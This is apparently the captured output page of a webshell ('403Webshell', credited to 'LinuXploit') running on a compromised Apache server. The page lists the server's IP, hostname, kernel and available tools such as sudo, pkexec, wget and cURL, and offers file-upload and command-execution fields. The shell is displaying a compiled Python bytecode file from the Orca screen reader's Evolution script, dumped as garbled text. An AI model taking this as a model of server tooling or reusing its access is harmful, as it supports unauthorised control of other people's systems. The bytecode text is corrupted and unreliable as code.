403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.114
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyc
x#Jc@sdZdZdZdZdZdZddkZddkiZddk	i
Z
ddkiZddk
iZddkiZddkiZddkiZddkiZddkiZddkiZddkiZddklZdd	kl Z dd
k!l"Z"de
i#fdYZ#hZ$d
e$d<de$d<de$d<de$d<de$d<hZ%de%d<de%d
<de%d<de%d<de%d<de%d<d e%d<d!e%d"<d#e%d$<d%e%d&<d'e%d(<d)e%d*<d+d,d-d.d/dd0d1d2d3dd4gZ&dS(5sCustom script for Evolution.s$Id$s
$Revision$s$Date$s-Copyright (c) 2005-2008 Sun Microsystems Inc.tLGPLiN(t_(tSpeechGenerator(t
FormattingtScriptcBs
eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZRS(cCsti|_tii||d
|_d
|_d
|_	d|_
d|_g|_t
|_dt_tititdtdtdtiti<dt_tititdtdtd	titi<d
S(sCreates a new script for the given application.

        Arguments:
        - app: the application to create a script for.
        is
Calendar ViewtcalvtCalendarViews
calendar viewsCalendar Eventtcalet
CalendarEventscalendar eventN(tdebugtLEVEL_FINESTt
debugLeveltdefaultRt__init__tNonet
message_paneltspellCheckDialogtlastSetupPaneltlastMessageColumntlastMessageRowt	rolesListtFalsetpresentIfInactivet	rolenamestROLE_CALENDAR_VIEWtRolenameRtROLE_CALENDAR_EVENT(tselftapp((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR
6s*														cCs
t|S(s6Returns the speech generator for this script.
        (R(R((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytgetSpeechGeneratorscCs
t|S(s/Returns the formatting strings for this script.(R(R((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyt
getFormattingscCsXtii|tititd|id<tititd|id<dS(sDefines InputEventHandler fields for this script that can be
        called by the key and braille bindings. In this particular case,
        we just want to be able to define our own sayAll() method.
        sSpeaks entire document.t
sayAllHandlersCToggle whether we present new mail if we are not the active script.ttoggleReadMailHandlerN(	RRtsetupInputEventHandlerstinput_eventtInputEventHandlertsayAllRtinputEventHandlersttoggleReadMail(R((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR!scCsUti|idtii|}|itidt	i
t	i|id|S(sDefines the new key binding for this script. Setup the default
        key bindings, then add one in for toggling whether we present new
        mail if we not not the active script.

        Returns an instance of keybindings.KeyBindings.
        sEvolution.getKeyBindings.tnR (
R	tprintlnRRRtgetKeyBindingstaddtkeybindingst
KeyBindingtsettingstdefaultModifierMasktORCA_MODIFIER_MASKR%(RtkeyBindings((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR)scCs#tii|}|i|d<|S(s<Sets up the AT-SPI event listeners for this script.
        sobject:state-changed:showing(RRtgetListenerstonStateChanged(Rt	listeners((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR1s
c	Cstii||}xt|D]\}}|iitip|i|q"y|i	}Wnq"X|i
d}|doc|i|d\}}|idddjo-|i
|o|d|!S|i|qq"q"W|S(sReturns a list containing all the unrelated (i.e., have no
        relations to anything and are not a fundamental element of a
        more atomic component like a combo box) labels under the given
        root.  Note that the labels must also be showing on the display.

        Arguments:
        - root the Accessible object to traverse

        Returns a list of unrelated labels under the given root.
        itweightt400t700(RRtfindUnrelatedLabelst	enumeratetgetStatetcontainstpyatspitSTATE_SENSITIVEtremovet	queryTextt
getAttributesttextAttrsToDictionarytgettisWizard(	RtroottlabelstitlabelttexttattrtcharKeystcharDict((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR7s"
cCsWti|idtd}|i|_|iptd}nti|tS(s Toggle whether we present new mail if we not not the active script.+
        Arguments:
        - inputEvent: if not None, the input event that caused this action.
        sEvolution.toggleReadMail.s.present new mail if this script is not active.s5do not present new mail if this script is not active.(R	R(RRRtspeechtspeaktTrue(Rt
inputEventtline((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR&s


cCsf|i}|i}ti}tit_|i|}ti||t_ti	|i
|dS(sSpeak/Braille the given page tab. The speech verbosity is set
           to VERBOSITY_LEVEL_BRIEF for this operation and then restored
           to its previous value on completion.

        Arguments:
        - tab: the page tab to speak/braille.
        N(tbrailleGeneratortspeechGeneratorR-tspeechVerbosityLeveltVERBOSITY_LEVEL_BRIEFtgenerateSpeechRKRLtbrailletdisplayRegionstgenerateBraille(Rttabt
brailleGent	speechGentsavedSpeechVerbosityLevelt
utterances((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytreadPageTabs				
	cCset||}|djo
d}n|d8}d}t|d}t|d}|d|d|S(sReturn a string equivalent to the time of the given row in
           the calendar day view. Each calendar row is equivalent to
           a certain time interval (from 5 minutes upto 1 hour), with
           time (row 0) starting at 12 am (midnight).

        Arguments:
        - row: the row number.
        - noIncs: the number of equal increments that the 24 hour period
                  is divided into.

        Returns the time as a string.
        isA.M.sP.M.i<t (ttimeIncrementsthourstminutes(RtrowtnoIncst	totalMinstsuffixthrstmins((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytgetTimeForCalRows


cCsQd}d}d}|iidjo|i|\}}}n|ii}|ii}t}x|ot}|ddjo||d}y|d}	|	iidd}
t|
djo|d8}t}nT|	iidjo:|i|	\}}}
|d|}|d8}t}nWqEqEXqkqkW|ii}t}x|ot}|d|i	jo||d}y|d}|iidd}
t|
djo|d7}t}nT|iidjo:|i|\}}}
|d|7}|d7}t}nWq?q?XqbqbW|||gS(sGet all the text applicable text selections for the given object.
        If there is selected text, look to see if there are any previous
        or next text objects that also have selected text and add in their
        text contents.

        Arguments:
        - obj: the text object to start extracting the selected text from.

        Returns: all the selected text contents plus the start and end
        offsets within the text for the given object.
        tiiiR^(
R>tgetNSelectionstgetSelectedTexttparenttgetIndexInParentRMRtgetTexttlent
childCount(RtobjttextContentststartOffsett	endOffsett	containertcurrenttmorePossibleSelectionst	prevPaneltprevObjt
displayedTexttnewTextContentststarttendt	nextPaneltnextObj((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytgetAllSelectedText4s^










cCs;t}t}|ii}|o
t}nt}|iidd}t|djo|ii}|ii}t}x|ot}|ddjo||d}	|	d}
y|
i}Wn
d}nX|
oa|oZ|idjo
t}qB|idd}t|djo|d8}t}qBqFqqW|ii}t}x|ot}|d|i	jo||d}|d}
y|
i}Wn
d}nX|
oa|oZ|idjo
t}q$|idd}t|djo|d7}t}q$q(qcqcWn||gS(sReturn an indication of whether this object has selected text.
        Note that it's possible that this object has no text, but is part
        of a selected text area. Because of this, we need to check the
        objects on either side to see if they are none zero length and
        have text selections.

        Arguments:
        - obj: the text object to start checking for selected text.

        Returns: an indication of whether this object has selected text,
        or adjacent text objects have selected text.
        iiiN(
RR>RjRMRnRoRlRmRRp(RRqtcurrentSelectedt
otherSelectedtnSelectionsRzRuRvRwRxRytprevObjTextR~RtnextObjText((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pythasTextSelectionss`








ccs_|pdSy|i}Wntj
odSX|i}|i}|i}|}|i}g}|i}	|i}
d}t}titi	jo
t
i}
n*titijo
t
i
}
n
t
i
}
x|p|i|}|djo|id}y|i}Wntj
odSX|i||i}xp|
|jo^|i|
|
\}}}|}t|djo|d|7}n|
t
i
jp.t|djp|t|ddjo|i|}|idiotiti}ntiti}|p|i|nt|djo!ti|||	||gVng}d}|}	nt|djp
||joPqB|}
qBWnd}
|d7}||jo
t}qqWt|djoj|i|}|idiotiti}ntiti}ti|||	||gVndS(sCreates a generator that can be used to iterate over each line
        of a text object, starting at the caret offset.

        We have to subclass this because Evolution lays out its messages
        such that each paragraph is in its own panel, each of which is
        in a higher level panel.  So, we just traverse through the
        children.

        Arguments:
        - obj: an Accessible that has a text specialization

        Returns an iterator that produces elements of the form:
        [SayAllContext, acss], where SayAllContext has the text to be
        spoken and acss is an ACSS instance for speaking the text.
        NRiiR^is.?!sUTF-8(R>tNotImplementedErrorRlRmRptcaretOffsetRR-tsayAllStyletSAYALL_STYLE_SENTENCER;tTEXT_BOUNDARY_SENTENCE_ENDtSAYALL_STYLE_LINEtTEXT_BOUNDARY_LINE_STARTtgetChildAtIndexRtappendtcharacterCounttgetTextAtOffsetRotadjustForRepeatstdecodetisuppertvoicestUPPERCASE_VOICEt
DEFAULT_VOICEtspeechservert
SayAllContextRM(RRqRGtpanelt	htmlPanelt
startIndexREttotalttextObjsRstoffsettstringtdonetmodettextObjtlengthtmystrR|R}Rttvoice((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyt	textLiness					

	

	
.	
 

	cCs|tiijodS|tiijo{|i}xtdt|iD]Q}|i|}|ii	}||jo||8}qM|ii
|PqMWn^|tiijoJ|it|id}|ii
|iti
d|dtn|i}|i}xtd|iD]m}|i|}|djoK|id}	y|	i}
WnqX|
io|
idqq(q(WdS(s6Provide feedback during the sayAll operation.
        NiitnotifyPresentationManager(RRtPROGRESStINTERRUPTEDt
currentOffsettrangeRoRqR>RtsetCaretOffsett	COMPLETEDtorcatsetLocusOfFocusRRRlRpRRjtremoveSelection(RtcontexttcallbackTypeRRERqt	charCountRRRRG((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyt__sayAllProgressCallback+s:	

			

cCs!|o#|itijo
|i}n|p/|itijp|iitijotS|i|i}|i||i	px|iiD]v}|iti
joZd}x2|D]*}|itijo|d7}qqW|djo||_	tSqqWntStS(sReturns True if obj is the list of spelling suggestions
        in the spellcheck dialog.

        Arguments:
        - obj: the Accessible object of interest.
        iii(
tgetRoleR;tROLE_TABLE_CELLRlt
ROLE_TABLEtROLE_SCROLL_PANERtgetTopLeveltisSameObjectRtROLE_FILLERtROLE_PUSH_BUTTONRM(RRqttopLeveltsiblingtbuttonCounttchild((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytisSpellingSuggestionsListVs*


	c
Csdg}}|i|pd}|i}x;|D]3}|ddjo|dt|d!}Pq6q6W|djo]|i|ti}xE|D]9}	x0|i|	ddiD]}|i|qWqWn||gS(	spGets the misspelled word from the spelling dialog and the
        list of words from the message body.

        Arguments:
        - suggestionsList: the list of spelling suggestions from the
          spellcheck dialog
        - messagePanel: the panel containing the message being checked
          for spelling

        Returns [mispelledWord, messageBody]
        Riit't"ii(RRN(	tgetDisplayedLabeltsplitRoRt
findByRoleR;t	ROLE_TEXTRnR(
RtsuggestionsListtmessagePaneltmisspelledWordtmessageBodyRGtwordstwordtallTextObjectsRq((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytgetMisspelledWordAndBodys 

	
cCsUy|i|ii}WntSX|iitio|itijSdS(sReturns True if obj is in the body of an email message.

        Arguments:
        - obj: the Accessible object of interest.
        N(	tqueryHypertextRlRR9R:R;tSTATE_MULTI_LINERR(RRqtancestor((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytisMessageBodyTexts
cCs|i|\}}}|i|tio|i||n|i|}|i|otit	ddtnti|dtdS(sASpeak/braille the line at the current text caret offset.
        tblankN(tgetTextLineAtCarett
updateBrailleR-tenableSpeechIndentationtspeakTextIndentationRtspeakBlankLineRKRLRRR(RRqtnewLocusOfFocusRRRsRO((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytpresentMessageLines

cCsuti|idyAtio3tiio#ti|iti|i	nWnt
ii||nXtS(sSpeak all the text associated with the text object that has
           focus. We have to define our own method here because Evolution
           does not implement the FLOWS_TO relationship and all the text
           are in an HTML panel which contains multiple panels, each
           containing a single text object.

        Arguments:
        - inputEvent: if not None, the input event that caused this action.
        sevolution.sayAll.(
R	R(Rt
orca_statetlocusOfFocusR>RKR$Rt_Script__sayAllProgressCallbackRRRM(RRN((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR$sc;Cs|i}|i}ti|i|ti|i|io|in|i	|ioP|ii
iti
o3ti|iddd|i|i|dStititig|_tioe|i|i|ioLti|iddd|iii}|i}|itijo|i}|i|}	|i|	}
g}g}xtd|iD]}
|i|
|
}x|i o|d}qW|itijo?|i!t"i#||i$|\}}}|i!|qqWt"i%||dgt&i'|dSntiti(g|_tioK|i|i|io2ti|iddt)t_|ii}|i}|i|i}	|i|	}
|i*|	}|i+|
jo't,i-i.||||t/t_dSt)}t0t1i2t3i4o't1i5i6}|djo
t/}qSn|i+|
jp5|
djp|
|i7d	jo|i8|jp|}ti9}ti:}g}d}t1i<itijo:t/}d
|i7}|i!t"i=|t&i'|nx?td|iD]+}
|i|
|
}|o|i>|ii>j}|i?|
}t)}t/}t)}y|i@}WntAj
o
d}nX|oxtd|iBD]} |iC| dtDdgjot/}|i
itiE}!|o^|iFtDdjo|!}t/}Pn"|iFtDd
jo|!}Pn|!p
t)}qjnPqqWn|o|p|o||
jo|otiGt_9tiGt_:|iH|dt)d|}|iI|\}"}#|iJ|"|i!t"i=d||
jo
|#}n|p
||
jot&i'|qLn|otiKt_9n
tiGt_9|t_:|iH|dt)d|}|iI|\}$}#|iFtDdjoEtDd}%|%g}|i!t"i=|%|i!t"i=dn|iFtDdjoS|iF}%|%g}||
jo0|i!t"i=|%|i!t"i=dqn|iFtDd
joS|iF}%|%g}||
jo0|i!t"i=|%|i!t"i=dqn$|iJ|$|i!t"i=d||
jo|djo
|#}n|p
||
jot&i'|qEqIqqW|gjot"i%||gn|t_9|t_:||_8|
|_+t/t_dStLiMtLiNg|_|i|i|ioti|idd|ii}|iH|dt)d|}|iI|\}}#t&i'||iiOiPd}&x|D]}'|'itijon|'i}(|(i7})xVtd|)D]A} |(i| }
|(i|
d}*|*iOiPd}+|+iQ|&iQjo|iH|idt)d|}|iI|i\},}#|iJ|,t&i'|d|iR| |)}-|i!t"i=|-t&i'|-|&iS|+iS}.d|iR| |.|)}/|i!t"i=|/t&i'|/t"i%||dgdSq	WqP	qP	WntiTtitLiNg|_|i|i|ioGti|iddg}|ii>}	|ii}|iii}0|iiOiPd}+|ii7})t)}1xA|0D]9}'|'iUtLiMjo|'iOiPd}&|+iQ|&iQjo|iH|'dt)d|}|iI|'\},}#|iJ|,t&i'|d|iR|	|)}-|i!t"i=|-t&i'|-|&iS|+iS}.d|iR|	|.|)}/|i!t"i=|/t&i'|/t"i%||dgt/}1qqqW|1pd|iR|	|)}-|i!t"i=|-t&i'|-tDd}2t&i'|2|i!t"i=|2t"i%||dgndStititiTtiVg|_|i|i|ioti|idd|ii>}	|iiii}|i}|itiWjokxh|D]\}'|'itiXjo@|'}3|3|	d	}4|4itiYjo|iZ|4dSq
q
Wq]nti[titiWtiWti\tiWtiWtiWtiWti]g
|_|i|i|iohti|iddg}tDd}2t&i'|2|i!t"i=|2t"i%||dgdS|i	|io|ii
iti
oti|iddt0t1i2t3i4o}|i^|iit1i<ioZt1i5i6}5|i	t1i<o|5d.jodS|5d/jot,i-i_||dSqn|iii|_`|i|i|dS|ia|ip|ia|olti|id(|ibt1i<|icidd)p2|ie|i|i`\}6}7|if|7|6qnti[tiWtititititig|_|i|i|ioti|id*d+t,i-i.|||||iii}8|8iii}9|9|9i d	}|ig|ti}:d,|ih|:ddd-}2t&i'|2dSt,i-i.||||dS(0sCalled when the visual object with focus changes.

        Arguments:
        - event: if not None, the Event that caused the change
        - oldLocusOfFocus: Accessible that is the old locus of focus
        - newLocusOfFocus: Accessible that is the new locus of focus
        s+evolution.locusOfFocusChanged - mail view: scurrent message pane: sindividual lines of text.Nsstandard mail header lines.ismessage header list.tDeleteis%d messagesttoggletStatustFlaggedtincludeContexttpriorObjR^tunreadt
Attachments/evolution.locusOfFocusChanged - calendar view: s$day view: tabbing to day with appts.sStart time s	End time s!day view: moving with arrow keys.sNo appointmentss4evolution.locusOfFocusChanged - preferences dialog: stable cell in options list.s,evolution.locusOfFocusChanged - mail insert s%attachment dialog: unlabelled button.sDirectories buttons%evolution.locusOfFocusChanged - mail scompose window: message area.tLefttRighttUptDowntHometEndtReturntTabs6evolution.locusOfFocusChanged - spell checking dialog.tactiveDescendantInfos evolution.locusOfFocusChanged - smail message area attachments.sfor i(RRRRRRRR(RRRR(iRPRQR	tprintObjectEventRtgetAccessibleDetailstsourcetflatReviewContextttoggleFlatReviewModeRR9R:R;tSTATE_EDITABLER(RRt
ROLE_PANELRRR-treadTableCellRowtisDesiredFocusedItemRlRRt
queryTabletgetCellIndext
getRowAtIndexRtnColumnstgetAccessibleAtRpRRUtTextRRVRKRLtROLE_TREE_TABLERtgetColumnAtIndexRRRtlocusOfFocusChangedRMt
isinstanceRtlastInputEventR"t
KeyboardEventtlastNonModifierKeyEventtevent_stringtnRowsRtbrailleVerbosityLevelRRRRtRegionRmtgetColumnHeadertqueryActionRtnActionstgetNameRt
STATE_CHECKEDtnameRSRTRWtextendtVERBOSITY_LEVEL_VERBOSERRRtqueryComponentt
getExtentstyRhtheighttROLE_UNKNOWNtgetRoleNameRRtROLE_PAGE_TAB_LISTt
ROLE_PAGE_TABR]RtROLE_SPLIT_PANEtROLE_DIALOGRtonCaretMovedRRRtpointOfReferenceRARtspeakMisspeltWordRRn(;RteventtoldLocusOfFocusRRYRZRqRltparentTabletindexRbR\tregionsREtcellRRRstcolumntjustDeletedtspeakAlltsavedBrailleVerbosityLevelR[tbrailleRegionst
cellWithFocustmessagetverbosetheadertcheckboxttoReadtuseAlternativeNametactiontjtcheckedt
headerRegionst
focusedRegiontcellRegionsRGtapptExtentsRt
childTabletnoRowstappttextentstapptRegionst	startTimetapptLentendTimetcalendarViewtfoundt	utterancettabListRXtlastKeytbadWordt	allTokensttmpttabletallText((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyRs		

	

	
	
			

!		
	"
	


						
		



						
			



		



	

		
	
	





c
Csy|i}Wntj
otSX|i}|i|ti}titi	d|d|d|df|ddjo|ddjot
iStSdS(sYReturns True if a blank line should be spoken.
        Otherwise, returns False.
        s+speakBlankLine: start=%d, end=%d, line=<%s>iiiN(R>RRRRR;RR	R(R
R-tspeakBlankLines(RRqRGRRO((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyRs		"cCsn|i|oG|iitijo|i|_n|i|i|idSti	i
||dS(sCalled whenever an object's state changes.  We are only
        interested in "object:state-changed:showing" events for any
        object in the Setup Assistant.

        Arguments:
        - event: the Event
        N(tisWizardNewInfoEventRRR;RRtpresentWizardNewInfoRRRR2(RR ((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR2s	cCs|pdS|ii|dti}tioUtiitijo<tiii	ti
o |i|iitinti
|dS(sCauses the new information displayed in a wizard to be presented
        to the user.

        Arguments:
        - obj: the Accessible object
        Ntrole(RQRTR;RRRRRR9R:t
STATE_FOCUSEDRRKRL(RRqR\((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyRMs

cCs|i|p|}|o|itijo|io|ditijod}}x]|dD]Q}|itijo5|d7}|iitip|d7}qqlqlW||djo|di|djot	Snt
S(syReturns True if this object is, or is within, a wizard.

        Arguments:
        - obj: the Accessible object
        ii(RRR;t
ROLE_FRAMERpRR9R:t
STATE_SHOWINGRMR(RRqtwindowt	allPanelstpanelsNotShowingR((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyRBs$

	cCs|iitijoG|iidp#|iido!|idjo|i|iS|iitijo|iidom|idjo]|i	|i|i
oCtititig}|i|i|o|i|iSntS(sReturns True if the event is judged to be the presentation of
        new information in a wizard. This method should be subclassed by
        application scripts as needed.

        Arguments:
        - event: the Accessible event being examined
        swindow:activatesobject:state-changed:activeisobject:state-changed:showing(
RRR;RPttypet
startswithtdetail1RBRRRRR(RR R((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyRL s	cCs<|i|i}|o|iitiotStS(sReturns True if the given event is one that should cause this
        script to become the active script.  This is only a hint to
        the focus tracking manager and it is not guaranteed this
        request will be honored.  Note that by the time the focus
        tracking manager calls this method, it thinks the script
        should become active.  This is an opportunity for the script
        to say it shouldn't.
        (RRR9R:R;tSTATE_ACTIVERRM(RR RR((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pytisActivatableEvent;s!cCs+ttitiotiotii}|djotiti	ti
tig}ti}|i
|i|o|i
||o|ii}|i}|i|i}|i|}|i|}	|i|	}
|i}||
jo|
|jodSqqntii||dS(s]Called whenever an object gets focus.

        Arguments:
        - event: the Event
        RN(RRRR"RRRR;RRRRRRRRlRRRRRRtonFocus(RR RRR!RlR"tnewIndextnewRowtoldIndextoldRowR((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyRZMs*

		cCs|i|io[ti||itio9ti|ijo&tiitiig|i	d<ndSt
ii||dS(sCalled when an object who manages its own descendants detects a
        change in one of its children.

        Arguments:
        - event: the Event
        RN(
RRRRtany_dataRRRlRmRRRtonActiveDescendantChanged(RR ((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR`us
	c	Cs<|iitijo|ii}x|D]}|itijo|id}|i|o|i	||i
\}}|i||y|i}Wnt
j
o
d}nX|oL|idjo<|id}ti||||ig|id<ndSq/q/Wntii||dS(shCalled whenever text is inserted into an object.

        Arguments:
        - event: the Event
        iRN(RRR;t
ROLE_LABELtgetRelationSettgetRelationTypetRELATION_LABEL_FORt	getTargetRRRRtquerySelectionRRtnSelectedChildrentgetSelectedChildRRRmRRRtonTextInserted(	RR t	relationstrelationttargetRFRGt	selectiontnewFocus((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyRis(	(t__name__t
__module__R
RRR!R)R1R7R&R]RhRRRRRRRRR$RRR2RMRBRLRYRZR`Ri(((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyR4s>	N					
	)				K	D	h	+	)	"			!				!				(	ii i
iii`ii0i<iRiit5t10t15t20it25it30t35i#t40i(t45i-t50i2t55i7t12t1t2t3t4t6t7t8t9t11('t__doc__t__id__t__version__t__date__t
__copyright__t__license__R;t
orca.debugR	torca.defaultRtorca.input_eventR"torca.keybindingsR+torca.rolenamesRtorca.brailleRUt	orca.orcaRtorca.orca_stateRtorca.speechRKtorca.speechserverRt
orca.settingsR-torca.orca_i18nRtspeech_generatorRt
formattingRRR_RaR`(((sF/usr/lib/python2.6/site-packages/orca/scripts/apps/evolution/script.pyt<module>s^


















Youez - 2016 - github.com/yon3zu
LinuXploit